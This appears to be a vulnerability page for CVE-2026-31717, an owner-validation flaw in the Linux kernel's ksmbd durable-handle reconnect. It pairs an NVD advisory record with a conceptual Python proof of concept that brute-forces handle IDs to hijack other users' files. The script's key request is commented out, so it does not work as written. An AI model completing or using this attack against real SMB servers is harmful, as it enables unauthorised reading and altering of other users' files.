CVE-2026-31717

import socket from impacket import smb # Proof of Concept for CVE-2026-31717 # This script attempts to reconnect to a durable handle by brute-forcing the ID. # Note: This is a conceptual demonstration to show the lack of owner validation. def brute_force_durable_handle(target, share, username, password, domain=''): print(f"[*] Targeting {target}...") # Establish a SMB connection client = smb.SMB(target, target) try: client.login(username, password, domain) print("[+] Login successful") # Try to reconnect using a predicted/durable handle ID range # In a real scenario, the attacker would guess the FileID or DurableHandle for file_id in range(1, 1000): try: # Attempting to open the file using the durable handle reconnect (DHnC) # The vulnerability is that ksmbd does not check if the current user # matches the original owner of this handle. tid = client.connect_tree(share) # This is a pseudo-call representing the SMB2_CREATE request with DHnC # If successful, we have hijacked the handle. print(f"[!] Trying Handle ID: {file_id}") # client.create(tid, file_id, ...) # If no exception is raised, the hijack is successful. except Exception as e: continue except Exception as e: print(f"[-] Error: {e}") finally: client.disconnect() if __name__ == "__main__": # Usage: python poc.py <target_ip> <share> <user> <pass> pass

{"cve": {"id": "CVE-2026-31717", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T14:16:21.860", "lastModified": "2026-05-06T21:08:51.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: validate owner of durable handle on reconnect\n\nCurrently, ksmbd does not verify if the user attempting to reconnect\nto a durable handle is the same user who originally opened the file.\nThis allows any authenticated user to hijack an orphaned durable handle\nby predicting or brute-forcing the persistent ID.\n\nAccording to MS-SMB2, the server MUST verify that the SecurityContext\nof the reconnect request matches the SecurityContext associated with\nthe existing open.\nAdd a durable_owner structure to ksmbd_file to store the original opener's\nUID, GID, and account name. and catpure the owner information when a file\nhandle becomes orphaned. and implementing ksmbd_vfs_compare_durable_owner()\nto validate the identity of the requester during SMB2_CREATE (DHnC)."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6.32", "versionEndExcluding": "6.7", "matchCriteriaId": "2C15E547-F33F-4337-A576-685C65C6D439"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.9", "versionEndExcluding": "6.18.25", "matchCriteriaId": "FB3AD8C5-FEB3-4B8C-A314-EFD501361AE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "7.0.2", "matchCriteriaId": "1BD58F1E-7C20-4C0D-92A2-FAC5CBFBE8A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "B1EF7059-E670-45F4-B422-54C40FA86390"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/00ce8d6789dae72d042a4522264964c72891ca37", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/49110a8ce654bbe56bef7c5e44cce31f4b102b8a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c908c853f304a4969b5aa10eba0b50350cc65b80", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}